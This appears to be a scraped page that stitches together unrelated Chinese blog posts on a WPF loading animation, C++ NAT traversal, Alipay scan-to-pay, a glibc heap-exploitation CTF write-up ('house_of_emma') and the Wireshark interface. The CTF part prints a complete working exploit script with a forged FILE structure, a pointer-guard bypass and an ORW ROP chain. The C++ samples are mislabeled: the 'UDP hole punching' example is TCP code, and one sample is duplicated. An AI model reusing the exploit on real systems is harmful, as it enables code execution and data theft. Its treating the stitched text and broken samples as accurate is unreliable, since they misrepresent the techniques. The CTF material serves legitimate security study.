wenmo8 发布的文章

运行的效果如下

先引入一下我们需要的库

在nuget上面搜一下"expression.Drawing",安装一下这个包

我们再创建一个Window,引入一下这个包的命名空间

我们设置一下这个加载动画呈现的窗体的样式

        xmlns:ed="http://schemas.microsoft.com/expression/2010/drawing"mc:Ignorable="d"WindowStyle="None"ResizeMode="NoResize"Background="#4C858585"WindowStartupLocation="CenterScreen"AllowsTransparency="True"Loaded="Window_Loaded"Title="Window1" Height="400" Width="400"

然后我们要用到我们添加的库里面的一个圆弧控件

        <ed:Arc x:Name="arc" Height="100" Width="100" StrokeThickness="50" Panel.ZIndex="1"StartAngle="-240" EndAngle="-300" Stretch="None"ArcThicknessUnit="Pixel">
            <ed:Arc.Stroke>
                <RadialGradientBrush GradientOrigin="0.3,0.3" RadiusX="0.7" RadiusY="0.7">
                    <GradientStop Color="#FFFFF00E" Offset="1"/>
                    <GradientStop Color="White" Offset="0"/>
                </RadialGradientBrush>
            </ed:Arc.Stroke>
        </ed:Arc>

背景色设置成一个圆形渐变的原因是为了让这个控件看起来像一个球体,而不是一个圆,得到的效果如下:

再到下面放几个圆球

<StackPanel Orientation="Horizontal" VerticalAlignment="Center" HorizontalAlignment="Center" Width="200" Margin="200,0,0,0">
    <StackPanel x:Name="stackPanel" Orientation="Horizontal" RenderTransformOrigin="0.5,0.5">
    <!--这里是为了后面的动画用,因为我是用blend添加的动画,所以生成的代码如下--> <StackPanel.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> <TranslateTransform/> </TransformGroup> </StackPanel.RenderTransform> <Ellipse/> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> </StackPanel> </StackPanel>

资源里面添加一下这些球的大小和颜色

        <Style TargetType="{x:Type Ellipse}">
            <Setter Property="Height" Value="20"/>
            <Setter Property="Width" Value="20"/>
            <Setter Property="Fill" Value="#FFFF5800"/>
        </Style>

就会得到下面这个样子

我们再添加一下动画,让这两部分动起来

        <Storyboard x:Key="Storyboard1" RepeatBehavior="Forever" AutoReverse="True">
            <DoubleAnimationUsingKeyFrames Storyboard.TargetName="arc" Storyboard.TargetProperty="(ed:Arc.EndAngle)">
                <EasingDoubleKeyFrame KeyTime="00:00:00" Value="-300"/>
                <EasingDoubleKeyFrame KeyTime="00:00:0.25" Value="-271"/>
            </DoubleAnimationUsingKeyFrames>
            <DoubleAnimationUsingKeyFrames Storyboard.TargetName="arc" Storyboard.TargetProperty="(ed:Arc.StartAngle)">
                <EasingDoubleKeyFrame KeyTime="00:00:00" Value="-240"/>
                <EasingDoubleKeyFrame KeyTime="00:00:0.25" Value="-270"/>
            </DoubleAnimationUsingKeyFrames>
        </Storyboard>
        <Storyboard x:Key="Storyboard2" RepeatBehavior="Forever">
            <DoubleAnimationUsingKeyFrames Storyboard.TargetName="stackPanel" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.X)">
                <EasingDoubleKeyFrame KeyTime="00:00:00" Value="0"/>
                <EasingDoubleKeyFrame KeyTime="00:00:01" Value="-78"/>
            </DoubleAnimationUsingKeyFrames>
        </Storyboard>

还需要把这个动画也动起来,在window的loaded事件里面添加下面的代码

        private void Window_Loaded(objectsender, RoutedEventArgs e)
{
var b = FindResource("Storyboard1") asStoryboard;
b.Begin();
var c = FindResource("Storyboard2") asStoryboard;
c.Begin();
}

这个时候运行这个窗体,就会发现已经实现了吃豆豆的效果,但是因为动画是一直在循环,小豆子一直往左边移动的时候,移动到一个位置就不会移动了,动画在重置的时候会让

动画看起来有一个延迟感,我们可以给这豆子的父级添加一个clip,让动画视觉上看起来是连续的(这里可以对比一下添加clip和不添加的效果的区别)

<StackPanel Orientation="Horizontal" VerticalAlignment="Center" HorizontalAlignment="Center" Width="200" Margin="200,0,0,0">
<StackPanel.Clip>
<RectangleGeometry>
<RectangleGeometry.Rect>
<Rect X="0" Y="0" Width="150" Height="40"/>
</RectangleGeometry.Rect>
</RectangleGeometry>
</StackPanel.Clip>
<StackPanel x:Name="stackPanel" Orientation="Horizontal" RenderTransformOrigin="0.5,0.5"> <!--这里是为了后面的动画用,因为我是用blend添加的动画,所以生成的代码如下--> <StackPanel.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> <TranslateTransform/> </TransformGroup> </StackPanel.RenderTransform> <Ellipse/> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> </StackPanel> </StackPanel>

然后就是怎么把这个效果运用到我们的项目中

我们再添加一个window2,在里面添加一个button

button的click事件代码如下

我们运行window2,点击一下按钮,就会发现3秒钟以后,吃豆豆的动画就消失了,也就是数据加载完成,吃豆豆就不显示了

如果项目里面有很多的地方都要用到这个动画,我们可以添加一个类来专门做这个动画的事情

代码里面的Action就是我们需要耗时的一些操作

所以我们的button的click里面的代码就变成了下面这段代码

好了,到这里这个动画的实现就结束了

项目github地址:
bearhanQ/WPFFramework: Share some experience (github.com)

QQ技术交流群:332035933;

概述

内网穿透是一种技术,用于在私有局域网(LAN)中的设备与外部网络(如互联网)之间建立通信通道,使得外部设备可以访问内网中的服务。由于内网设备通常位于防火墙或 NAT(网络地址转换)设备之后,外部网络无法直接访问它们。因此,内网穿透技术旨在解决这一问题。本文将讨论如何使用 C++ 实现内网穿透技术,并介绍一些常见的实现方式。

一、内网穿透的基本原理

内网穿透的核心思想是通过一个中间服务器(通常位于公网中)来中转内网的请求。内网设备与外网设备通过这个中间服务器进行通信,避开防火墙或 NAT 设备的限制。具体流程包括以下步骤:

  1. 内网设备主动连接到中间服务器
    :由于 NAT 设备允许内部设备主动发起外部连接,因此内网设备可以与位于公网的中间服务器建立连接。
  2. 外网设备向中间服务器发出请求
    :外网设备通过公网 IP 地址访问中间服务器,请求访问内网中的服务。
  3. 中间服务器转发请求
    :中间服务器将外网设备的请求转发给已经连接的内网设备,内网设备响应后再通过中间服务器返回给外网设备。

二、常见的内网穿透技术实现手段

  1. 反向代理(Reverse Proxy)
    反向代理是一种常见的内网穿透方式。使用反向代理时,内网设备主动与中间服务器建立连接,并保持连接的持续性。外网设备通过访问中间服务器获取内网服务。


    • 实现思路

      • 使用 C++ 开发的客户端程序在内网设备上运行,主动连接位于公网的中间服务器(该服务器可以使用 C++ 通过 socket 实现)。
      • 中间服务器充当代理,将外网的请求通过内网设备返回。
    • C++ 示例
      : 下面展示了一个简单的反向代理服务器的基本结构:
      #include <iostream>
      #include <boost/asio.hpp>
      
      using boost::asio::ip::tcp;
      
      void start_server(boost::asio::io_context& io_context, short port) {
          tcp::acceptor acceptor(io_context, tcp::endpoint(tcp::v4(), port));
          while (true) {
              tcp::socket socket(io_context);
              acceptor.accept(socket);
              std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nHello from the proxy!";
              boost::asio::write(socket, boost::asio::buffer(message));
          }
      }
      
      int main() {
          boost::asio::io_context io_context;
          start_server(io_context, 8080);
          return 0;
      }
      

  2. TCP 隧道(TCP Tunneling)
    TCP 隧道是一种通过中间服务器将外网请求直接转发到内网设备的方法。外网设备与内网设备之间的数据流通过中间服务器进行封装和转发,内网设备将其解封装后处理请求。


    • 实现思路


      • 使用 C++ 实现 TCP 隧道的功能,内网设备和外网设备同时与中间服务器保持连接。
      • 外网设备发送请求时,中间服务器将数据包转发给内网设备处理。
    • C++ 示例


      #include <iostream>
      #include <boost/asio.hpp>
      
      using boost::asio::ip::tcp;
      
      void start_server(boost::asio::io_context& io_context, short port) {
          tcp::acceptor acceptor(io_context, tcp::endpoint(tcp::v4(), port));
          while (true) {
              tcp::socket socket(io_context);
              acceptor.accept(socket);
              std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nHello from the proxy!";
              boost::asio::write(socket, boost::asio::buffer(message));
          }
      }
      
      int main() {
          boost::asio::io_context io_context;
          start_server(io_context, 8080);
          return 0;
      }
      

  3. UDP 打洞(UDP Hole Punching)
    UDP 打洞是一种广泛使用于 P2P 网络的技术。该技术通过让两个处于不同 NAT 后面的设备同时向一个中间服务器发送 UDP 数据包,从而建立起两者之间的直接通信。


    • 实现思路


      • 使用 C++ 开发内网设备的 UDP 客户端,同时向中间服务器和目标设备发送数据包。
      • 中间服务器在收到来自两个设备的请求后,向双方告知彼此的公网 IP 和端口号,进而双方可以通过该信息直接进行通信。
    • C++ 示例


      #include <iostream>
      #include <boost/asio.hpp>
      
      using boost::asio::ip::tcp;
      
      void tunnel_data(tcp::socket& in_socket, tcp::socket& out_socket) {
          char data[1024];
          boost::system::error_code error;
          size_t length = in_socket.read_some(boost::asio::buffer(data), error);
          if (!error) {
              boost::asio::write(out_socket, boost::asio::buffer(data, length));
          }
      }
      
      int main() {
          boost::asio::io_context io_context;
      
          // Connect to the external client
          tcp::acceptor acceptor(io_context, tcp::endpoint(tcp::v4(), 8888));
          tcp::socket client_socket(io_context);
          acceptor.accept(client_socket);
      
          // Connect to the internal server (i.e., device inside the LAN)
          tcp::resolver resolver(io_context);
          tcp::resolver::results_type endpoints = resolver.resolve("localhost", "80");
          tcp::socket server_socket(io_context);
          boost::asio::connect(server_socket, endpoints);
      
          // Start tunneling data between client and server
          tunnel_data(client_socket, server_socket);
      
          return 0;
      }
      

三、总结

内网穿透技术通过各种手段使得外部设备能够访问位于内网中的服务。通过反向代理、TCP 隧道和 UDP 打洞等技术,我们可以根据不同的网络环境和需求,选择最合适的内网穿透方案。C++ 提供了高效的网络编程支持,可以用来实现这些方案中的每一种。

背景

在日常的购物转账、生活缴费等在线支付中,用户在正式拉起支付界面前,均需要至少经历一次"识别"+两次"寻找",即识别归属应用、寻找应用、寻找扫码入口,才能完成扫码、付款,每一步都带来不同程度的用户流失。如何将步骤繁琐的扫码支付做到最简化,是优化在线支付体验的关键。

image

策略

支付宝是全球领先的支付平台之一,涵盖金融管理、转账、缴费等多种功能,致力于为广大用户提供安全快速的线上支付体验。接入扫码直达服务后,支付宝解决了扫码步骤繁琐的问题,真正实现"零思考,一步扫"。

通过浅层高频入口如相机、锁屏、控制中心均可一步拉起扫码页面,无论锁屏还是解锁状态,都能一步直达服务页,帮助用户快速完成在线支付。同时,配合系统扫码能力增强,为用户提供更便捷流畅的扫码新体验。App未安装时,支持跳转至应用市场下载页面,让用户快速下载、完成在线支付。

image

开发者可轻松构建扫码能力,性能升级0成本,开放接口开通即用,仅需注册域名、注册应用接口两步即可完成扫码能力构建。更多接入信息可
查询官网文档

image

成果

扫码直达服务不仅简化了传统扫码支付的繁琐流程,还加强了复杂场景下的算法识别能力,在远距离、小角度、过曝/过暗等场景下,提升扫码识别率至90%以上,实现用户一扫即付的支付新体验。

除此以外,支付宝将携手HarmonyOS SDK探索智慧就医和元服务更多可能,并在推送、语音播报、智能分发等特性领域,为用户带来更丰富的应用场景、更便捷的操作体验和更高效的数字化服务。

house_of_emma

前言:

相比较于house_of_kiwi(
house_of_kiwi
),house_of_emma的手法更加***钻,而且威力更大,条件比较宽松,只需要lagebin_attack即可完成。

当然把两着放到一起是因为它们都利用了__malloc_assest来刷新IO流,不同的是,house_of_kiwi是通过修改调用函数的指针,还有修改rdx(_IO_heaper_jumps)的偏移达到目的的,条件需要两次任意地址写,相对来说比较苛刻,然后house_of_emma则是利用了vtable地址的合法性,在符合vtable的地方找到了一个函数_IO_cookie_read,这个函数存在_IO_cookie_jumps中,可以看一下。

pwndbg> p _IO_cookie_jumps
$1 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7bc53c683dc0 <_IO_new_file_finish>,
  __overflow = 0x7bc53c684790 <_IO_new_file_overflow>,
  __underflow = 0x7bc53c684480 <_IO_new_file_underflow>,
  __uflow = 0x7bc53c685560 <__GI__IO_default_uflow>,
  __pbackfail = 0x7bc53c686640 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7bc53c6839b0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7bc53c685740 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7bc53c678ae0 <_IO_cookie_seekoff>,
  __seekpos = 0x7bc53c685900 <_IO_default_seekpos>,
  __setbuf = 0x7bc53c6826d0 <_IO_new_file_setbuf>,
  __sync = 0x7bc53c682560 <_IO_new_file_sync>,
  __doallocate = 0x7bc53c677ef0 <__GI__IO_file_doallocate>,
  __read = 0x7bc53c6789c0 <_IO_cookie_read>,
  __write = 0x7bc53c6789f0 <_IO_cookie_write>,
  __seek = 0x7bc53c678a40 <_IO_cookie_seek>,
  __close = 0x7bc53c678aa0 <_IO_cookie_close>,
  __stat = 0x7bc53c6867a0 <_IO_default_stat>,
  __showmanyc = 0x7bc53c6867d0 <_IO_default_showmanyc>,
  __imbue = 0x7bc53c6867e0 <_IO_default_imbue>
}

可以看见它位于_IO_cookie_jumps+0x38+0x38的位置,至于为什么不写_IO_cookie_jumps+0x70,这样为了方便后面理解。

我们看看_IO_cookie_read都做了什么

  0x7bc53c6789c0 <_IO_cookie_read>       endbr64 
   0x7bc53c6789c4 <_IO_cookie_read+4>     mov    rax, qword ptr [rdi + 0xe8]
   0x7bc53c6789cb <_IO_cookie_read+11>    ror    rax, 0x11  
   0x7bc53c6789cf <_IO_cookie_read+15>    xor    rax, qword ptr fs:[0x30] #解密处理
   0x7bc53c6789d8 <_IO_cookie_read+24>    test   rax, rax
 ► 0x7bc53c6789db <_IO_cookie_read+27>    je     _IO_cookie_read+38                <_IO_cookie_read+38>
 
   0x7bc53c6789dd <_IO_cookie_read+29>    mov    rdi, qword ptr [rdi + 0xe0]
   0x7bc53c6789e4 <_IO_cookie_read+36>    jmp    rax  #call rax

可以看见call rax 也就是我们如果控制了rax那么就可以控制程序流,但是在此之前可以看见对rax进行了解密处理,将rax循环右移0x11,然后再和fs+0x30处的位置异或得到最后的rax

最后去查了一下,这个是glibc的
PointerEncryption
(自指针加密),是glibc保护指针的一种方式,glibc是这样解释的:指针加密是 glibc 的一项安全功能,旨在增加攻击者在 glibc 结构中操纵指针(尤其是函数指针)的难度。此功能也称为 “指针修饰” 或 “指针守卫”。

这个值存放在TLS段上,一般情况下我们泄露不了,但是我们可以通过largebin_attack把一个堆块地址写入这个地址,那么key就变成了堆块指针,所以我们只需要,进行相应的加密就可以控制rax达到任意地址。那么如果控制这个rax为system("/bin/sh")的地址,那么就可以跳转到此处执行shell。

然而还有一个问题,就是如果程序使用了沙箱禁用了execve,那么还是要进行迁移,需要用到setcontext,但是我们知道,这个函数再glibc2.29以后控制的寄存器从原来的rdi变成了rdx,也就是我们要控制rdx的值,但是当处于
_IO_cookie_read,会发现此时rdx的值为0,而rdi也就是我们伪造的fake_io堆块,那么需要一个gadget,既能将rdi  mov到rdx,又能继续接下来的程序流。

那么可以找到这样的一个gadget

这个gadget可以将rdi+8处地址给rdx,而且最后call rdx+0x20那么我们久可以继续控制程序流了。

怎么控制呢,如果把rdx+0x20的地方给setcontext+61的话,可以继续控制rdx+0xe0和rdx+0xe8的位置,那么就可以控制程序流进行orw

例题:
[湖湘杯 2021]house_of_emma

这个题目是一个vm的题目,需要输入opcode,来执行相应的效果。但是我们重心在house_of_emma上,但是这个opcode可以看看最后的exp,也不难理解,类似对你输入的指令进行8位分割

add函数申请堆块大小在0x40f到0x500之间

edit函数不能修改堆块之外的数据

问题出在free函数,存在uaf漏洞

show函数

分析:

本题libc给的是2.34的,那么__free_hook,malloc_hook等被移除了,当然因为存在UAF,而且还可以edit,那么泄露libc地址和heap地址会很容易,我们要伪造IO链,因为最后会使用stdder实现报错输出,所以我们可以劫持这个链子,将_lock给成合法地址,vtable给成
_IO_cookie_jumps+0x38,前面提到了这样是因为最后会call _IO_cookie_jumps+0x38再加上0x38的地址,就会到_IO_cookie_read,然后使用call rax的gadget布置rdx,然后call rdx+0x20 进入setcontxt + 61,然后就是orw了。

EXP:

from gt import *

con("amd64")

libc = ELF("./libc.so.6")
io = process("emma")


opcode = b""

def add(index,size):
    global opcode
    opcode += b'\x01'+p8(index)+p16(size)


def free(index):
    global opcode
    opcode += b'\x02'+p8(index)


def show(index):
    global opcode
    opcode += b'\x03'+p8(index)


def edit(index,msg):
    global opcode
    opcode += b'\x04' + p8(index) + p16(len(msg)) + msg



def run():
    global opcode
    opcode += b'\x05'
    io.sendafter("Pls input the opcode",opcode)
    opcode = b""

# 加密函数 循环左移
def rotate_left_64(x, n):
    # 确保移动的位数在0-63之间
    n = n % 64
    # 先左移n位
    left_shift = (x << n) & 0xffffffffffffffff
    # 然后右移64-n位,将左移时超出的位移动回来
    right_shift = (x >> (64 - n)) & 0xffffffffffffffff
    # 合并两部分
    return left_shift | right_shift


add(0,0x410)
add(1,0x410)
add(2,0x420)
add(3,0x410)
free(2)
add(4,0x430)
show(2)
run()
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x1f30b0
suc("libc_base",libc_base)
pop_rdi_addr = libc_base + 0x000000000002daa2 #: pop rdi; ret; 
pop_rsi_addr = libc_base + 0x0000000000037c0a #: pop rsi; ret; 
pop_rdx_r12 = libc_base + 0x00000000001066e1 #: pop rdx; pop r12; ret;
pop_rax_addr = libc_base + 0x00000000000446c0 #: pop rax; ret;
syscall_addr = libc_base + 0x00000000000883b6 #: syscall; ret;
setcontext_addr = libc_base + libc.sym["setcontext"]
stderr = libc_base + libc.sym["stderr"]
open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base



#suc("guard",guard)
_IO_cookie_jumps = libc_base + 0x1f3ae0 

edit(2,b'a'*0x10)
show(2)
#gdb.attach(io)
run()
io.recvuntil("a"*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x2ae0 
suc("heap_base",heap_base)
guard = libc_base+ 0x20d770
suc("guard",guard)

free(0)
payload = p64(libc_base + 0x1f30b0)*2 + p64(heap_base +0x2ae0) + p64(stderr - 0x20)
edit(2,payload)
add(5,0x430)
edit(2,p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run()

free(2)
add(6,0x430)
free(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)


#gdb.attach(io)
run()
free(7)
add(8, 0x430)
edit(7,b'a' * 0x438 + p64(0x300))
run()



flag = heap_base + 0x22a0 + 0x260

orw =p64(pop_rdi_addr)+p64(flag)
orw+=p64(pop_rsi_addr)+p64(0)
orw+=p64(pop_rax_addr)+p64(2)
orw+=p64(syscall_addr)


orw+=p64(pop_rdi_addr)+p64(3)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(read_addr)


orw+=p64(pop_rdi_addr)+p64(1)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(write_addr)




gadget = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
chunk0 = heap_base + 0x22a0
xor_key = chunk0
suc("xor_key",xor_key)

fake_io = p64(0) + p64(0) # IO_read_end IO_read_base
fake_io += p64(0) + p64(0) + p64(0) # IO_write_base IO_write_ptr IO_write_end
fake_io += p64(0) + p64(0) # IO_buf_base IO_buf_end
fake_io += p64(0)*8 #_IO_save_base ~ _codecvt
fake_io += p64(heap_base) + p64(0)*2  #_lock   _offset  _codecvt
fake_io = fake_io.ljust(0xc8,b'\x00')

fake_io += p64(_IO_cookie_jumps+0x38) #vtable
rdi_data = chunk0 + 0xf0
rdx_data = chunk0 + 0xf0


encrypt_gadget = rotate_left_64(gadget^xor_key,0x11)
fake_io += p64(rdi_data)
fake_io += p64(encrypt_gadget)
fake_io += p64(0) + p64(rdx_data)
fake_io += p64(0)*2 + p64(setcontext_addr + 61)
fake_io += p64(0xdeadbeef)
fake_io += b'a'*(0xa0 - 0x30)
fake_io += p64(chunk0+0x1a0)+p64(pop_rdi_addr+1)
fake_io += orw
fake_io += p64(0xdeadbeef)
fake_io += b'flag\x00\x00\x00\x00'
edit(0,fake_io)
run()

add(9,0x4c0)
gdb.attach(io)
run()
io.interactive()

gdaget call rax

call setcontext +61

实现迁移

最终效果

总结:

我个人感觉这个威力还是不小的,但是打远程的话需要爆破tls地址这个比较麻烦,无论是house_of_kiwi还是house_of_emma都是利用了__malloc_assest,但是遗憾的是,这个函数在后来的libc中,不能处理IO了,最后甚至去掉了,但是在这之前的版本还是可以利用的。

最后这个题目的附件在NSSCTF平台上面有,有兴趣的师傅可以试一下。

The best way to predict the future is to create it.

1.简介

在此之前,宏哥已经介绍和讲解过Wireshark的启动界面。但是很多初学者还会碰到一个难题,就是感觉wireshark抓包界面上也是同样的问题很多东西不懂怎么看。其实还是挺明了的宏哥今天就单独写一篇对其抓包界面进行详细地介绍和讲解一下。

2.Wireshak抓包界面概览

通过上一篇我们知道如何使Wireshark处于抓包状态,进行抓包。其界面显示如下图所示:

Wireshark网络封包分析软件 主要分为这几个界面:


Display Filter (显示过滤器):用于过滤。


Packet List Pane (封包列表):显示捕获到的封包, 有源地址和目标地址,端口号。 颜色不同代表抓取封包的协议不同。


Packet Details Pane (封包详细信息),:显示封包中的字段。


Dissector Pane (16进制数据)


Miscellanous (地址栏,杂项)

2.1显示过滤器

Display Filter(显示过滤器),  用于设置过滤条件进行数据包列表过滤。菜单路径:Analyze --> Display Filters。显示过滤器用于查找捕捉记录中的内容。请不要将捕捉过滤器和显示过滤器的概念相混淆。如下图所示:

2.2封包列表

Packet List Pane(数据包列表), 显示全部已经捕获到的数据包,每个数据包包含编号,时间戳,源地址,目标地址,协议,长度,以及数据包信息。 不同协议的数据包使用了不同的颜色区分显示。

2.3封包详细信息

Packet Details Pane(数据包详细信息), 在数据包列表中选择指定数据包,在数据包详细信息中会显示数据包的所有详细信息内容。数据包详细信息面板是最重要的,用来查看协议中的每一个字段。各行信息分别为

(1)Frame:   物理层的数据帧概况

(2)Ethernet II: 数据链路层以太网帧头部信息

(3)Internet Protocol Version 4: 互联网层IP包头部信息

(4)Transmission Control Protocol:  传输层T的数据段头部信息,此处是TCP

(5)Hypertext Transfer Protocol:  应用层的信息,此处是HTTP协议

由此可见,Wireshark 对 HTTP 协议数据包进行解析,显示了 HTTP 协议的层次结构。

2.3.1Frame

物理层数据帧概况。如下图所示:


2.3.2Ethernet II

数据链路层以太网帧头部信息。如下图所示:

2.3.3Internet Protocol Version 4

互联网层IP包头部信息。如下图所示:

IP包头。如下图所示:

2.3.4Transmission Control Protocol

传输层数据段头部信息,此处是TCP协议。如下图所示:

2.3.5Hypertext Transfer Protocol

应用层信息,此处是HTTP协议。

2.4 十六进制数据

Dissector Pane(数据包字节区)。

2.5状态栏

MISCELLANOUS(杂项),主要显示,包文件明,配置文件名,以及打开文件有多少个分组,当前显示了多少个分组(例如执行条件过滤后,只显示被过滤规则命中的分组)。

3.网络七层协议

3.1OSI

OSI是一个开放性的通信系统互连参考模型,它是一个定义得非常好的协议规范。OSI模型有7层结构,每层都可以有几个子层。 OSI的7层从上到下分别是 7 应用层 6 表示层 5 会话层 4 传输层 3 网络层 2 数据链路层 1 物理层 ;其中高层(即7、6、5、4层)定义了应用程序的功能,下面3层(即3、2、1层)主要面向通过网络的端到端,点到点的数据流。

3.2OSI和封包详细信息的对应

下面跟随宏哥一起来看一下,Wireshark抓包查看网络请求封包中的每一个字段所对应的OSI。 以 HTTP 协议数据包为例,了解该数据包的层次结构。在 Packet List 面板中找到一个 HTTP 协议数据包。如下图所示:

用户对数据包分析就是为了查看包的信息,展开每一层,可以查看对应的信息。例如,查看数据链路层信息,展开 Ethernet II 层,显示信息如下:

Ethernet II, Src: Tp-LinkT_46:70:ba (ec:17:2f:46:70:ba), Dst: Giga-Byt_17:cf:21 (50:e5:49:17:cf:21)
Destination: Giga-Byt_17:cf:21 (50:e5:49:17:cf:21) #目标MAC地址
Source: Tp-LinkT_46:70:ba (ec:17:2f:46:70:ba) #源MAC地址
Type: IPv4 (0x0800)

显示的信息包括了该数据包的发送者和接收者的 MAC 地址(物理地址)。

可以以类似的方法分析其他数据包的层次结构。

4.颜色区分Wireshark网络封包分析软件抓取到的不同网络协议

说明:
数据包列表区中不同的网络协议使用了不同的颜色区分

协议颜色标识定位在菜单栏 View -->  Coloring Rules 。(视图-->着色规则)如下图所示:

5.小结

好了,今天主要是关于Wireshark抓包界面详解。到此宏哥就将Wireshark抓包界面讲解和分享完了,是不是很简单了。今天时间也不早了,就到这里!感谢您耐心的阅读~~